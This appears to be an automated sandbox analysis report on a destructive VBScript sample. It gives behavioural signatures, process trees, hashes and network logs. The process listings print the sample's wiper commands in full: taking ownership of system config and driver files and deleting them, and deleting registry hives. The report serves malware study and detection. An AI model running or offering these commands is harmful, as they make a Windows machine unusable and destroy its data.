Analysis Overview
SHA256
7786be7dadf8cf4d51607d72cdd3a7f047668c91edfbf5c0623798688d712ab7
Threat Level: Likely malicious
The file script.vbs was found to be: Likely malicious.
Malicious Activity Summary
Possible privilege escalation attempt
Modifies file permissions
Checks computer location settings
Enumerates physical storage devices
Checks processor information in registry
Suspicious use of SendNotifyMessage
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
Suspicious behavior: AddClipboardFormatListener
Suspicious use of FindShellTrayWindow
Suspicious behavior: GetForegroundWindowSpam
Opens file in notepad (likely ransom note)
Suspicious use of WriteProcessMemory
Enumerates system info in registry
Modifies registry class
Modifies registry key
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-15 21:44
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-15 21:44
Reported
2024-08-15 21:47
Platform
win7-20240704-en
Max time kernel
11s
Max time network
16s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
cmd /c "copy C:\Users\Admin\AppData\Local\Temp\script.wsf C:\Users\Admin\AppData\Local\Temp\script.wsf.vbs && start C:\Users\Admin\AppData\Local\Temp\script.wsf.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\script.wsf.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\config\* >nul && icacls c:\windows\system32\config\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\config\* >nul 2>&1
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\drivers\* >nul && icacls c:\windows\system32\drivers\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\drivers\* >nul 2>&1
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\config\*
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\config\* /grant everyone:(f)
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\drivers\*
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\drivers\* /grant everyone:(f)
Network
Files
C:\Users\Admin\AppData\Local\Temp\script.wsf.vbs
| MD5 | 0355b976d816c3dafeda740c75450a08 |
| SHA1 | 98de5b1ee4c653658966effecf248bf7a8df7cd1 |
| SHA256 | 7786be7dadf8cf4d51607d72cdd3a7f047668c91edfbf5c0623798688d712ab7 |
| SHA512 | 2aa4dd903915d0f7394ebb8b802ad81d2aeda3561d94dc679b693a7e5b32a2f1bf79f0ddffb8971bd61f95b5a68d8bfbb8a5fa361f8580620ad7ab8985210779 |
C:\Users\Admin\Desktop\desktop.vbs
| MD5 | edc6cfebfd829729d9fc80aaaf02d193 |
| SHA1 | 6d04bf8c7b542301f7eb77eeceed16969053537c |
| SHA256 | d0391b24b4bb809ba05a9b9e3fbee72a8b39381b16567de0ca7d9f403211cb47 |
| SHA512 | 8afab19929d1bc3fe4d878ee7dd0b711834e53564afdf8e7d0a7186d1f01b35f5f4aeba4d3c5c964e2fbda08203611dc8bd140b717d3e579dc4b3f1684e3908c |
C:\Users\Admin\Downloads\ReadAdd.mp3
| MD5 | 81051bcc2cf1bedf378224b0a93e2877 |
| SHA1 | ba8ab5a0280b953aa97435ff8946cbcbb2755a27 |
| SHA256 | 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6 |
| SHA512 | 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d |
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-15 21:44
Reported
2024-08-15 21:47
Platform
win10v2004-20240802-en
Max time kernel
149s
Max time network
151s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
Enumerates physical storage devices
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Windows\system32\wermgr.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Windows\system32\wermgr.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Windows\system32\wermgr.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Windows\system32\wermgr.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Windows\system32\wermgr.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings | C:\Windows\system32\cmd.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings | C:\Windows\system32\OpenWith.exe | N/A |
Modifies registry key
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\reg.exe | N/A |
Opens file in notepad (likely ransom note)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\NOTEPAD.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\VideoLAN\VLC\vlc.exe | N/A |
Suspicious behavior: GetForegroundWindowSpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\VideoLAN\VLC\vlc.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
| Token: SeTcbPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\VideoLAN\VLC\vlc.exe | N/A |
| N/A | N/A | C:\Program Files\VideoLAN\VLC\vlc.exe | N/A |
| N/A | N/A | C:\Program Files\VideoLAN\VLC\vlc.exe | N/A |
| N/A | N/A | C:\Program Files\VideoLAN\VLC\vlc.exe | N/A |
Suspicious use of SendNotifyMessage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\VideoLAN\VLC\vlc.exe | N/A |
| N/A | N/A | C:\Program Files\VideoLAN\VLC\vlc.exe | N/A |
| N/A | N/A | C:\Program Files\VideoLAN\VLC\vlc.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\VideoLAN\VLC\vlc.exe | N/A |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
cmd /c "copy C:\Users\Admin\AppData\Local\Temp\script.wsf C:\Users\Admin\AppData\Local\Temp\script.wsf.vbs && start C:\Users\Admin\AppData\Local\Temp\script.wsf.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\script.wsf.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\config\* >nul && icacls c:\windows\system32\config\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\config\* >nul 2>&1
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\drivers\* >nul && icacls c:\windows\system32\drivers\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\drivers\* >nul 2>&1
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\drivers\*
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\config\*
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\config\* /grant everyone:(f)
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\drivers\* /grant everyone:(f)
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg.exe delete HKCR\*.dll /f
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg.exe delete HKCR\*.exe /f
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg.exe delete HKLM\* /f
C:\Windows\system32\reg.exe
reg.exe delete HKCR\*.dll /f
C:\Windows\system32\reg.exe
reg.exe delete HKCR\*.exe /f
C:\Windows\system32\reg.exe
reg.exe delete HKLM\* /f
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
C:\Windows\system32\dashost.exe
dashost.exe {1e311568-a5fe-462b-b57c715b317ab229}
C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\StartComplete.mid"
C:\Windows\system32\wermgr.exe
"C:\Windows\system32\wermgr.exe" "-outproc" "0" "3188" "928" "840" "932" "0" "0" "936" "940" "0" "0" "0" "0"
C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\StartComplete.mid
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 2.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 167.57.26.184.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | c.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.f.f.ip6.arpa | udp |
| US | 8.8.8.8:53 | fe2cr.update.microsoft.com | udp |
| US | 40.78.107.251:443 | fe2cr.update.microsoft.com | tcp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 251.107.78.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | download.windowsupdate.com | udp |
| GB | 92.123.143.240:80 | download.windowsupdate.com | tcp |
| US | 8.8.8.8:53 | 240.143.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.99.105.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 23.236.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\script.wsf.vbs
| MD5 | 0355b976d816c3dafeda740c75450a08 |
| SHA1 | 98de5b1ee4c653658966effecf248bf7a8df7cd1 |
| SHA256 | 7786be7dadf8cf4d51607d72cdd3a7f047668c91edfbf5c0623798688d712ab7 |
| SHA512 | 2aa4dd903915d0f7394ebb8b802ad81d2aeda3561d94dc679b693a7e5b32a2f1bf79f0ddffb8971bd61f95b5a68d8bfbb8a5fa361f8580620ad7ab8985210779 |
C:\Users\Admin\Desktop\desktop.vbs
| MD5 | edc6cfebfd829729d9fc80aaaf02d193 |
| SHA1 | 6d04bf8c7b542301f7eb77eeceed16969053537c |
| SHA256 | d0391b24b4bb809ba05a9b9e3fbee72a8b39381b16567de0ca7d9f403211cb47 |
| SHA512 | 8afab19929d1bc3fe4d878ee7dd0b711834e53564afdf8e7d0a7186d1f01b35f5f4aeba4d3c5c964e2fbda08203611dc8bd140b717d3e579dc4b3f1684e3908c |
C:\Users\Admin\Music\SuspendProtect.mp3
| MD5 | 81051bcc2cf1bedf378224b0a93e2877 |
| SHA1 | ba8ab5a0280b953aa97435ff8946cbcbb2755a27 |
| SHA256 | 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6 |
| SHA512 | 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d |
memory/3672-210-0x00007FF66A990000-0x00007FF66AA88000-memory.dmp
memory/3672-211-0x00007FFA189C0000-0x00007FFA189F4000-memory.dmp
memory/3672-212-0x00007FFA080C0000-0x00007FFA08376000-memory.dmp
memory/3672-213-0x00007FFA06600000-0x00007FFA076B0000-memory.dmp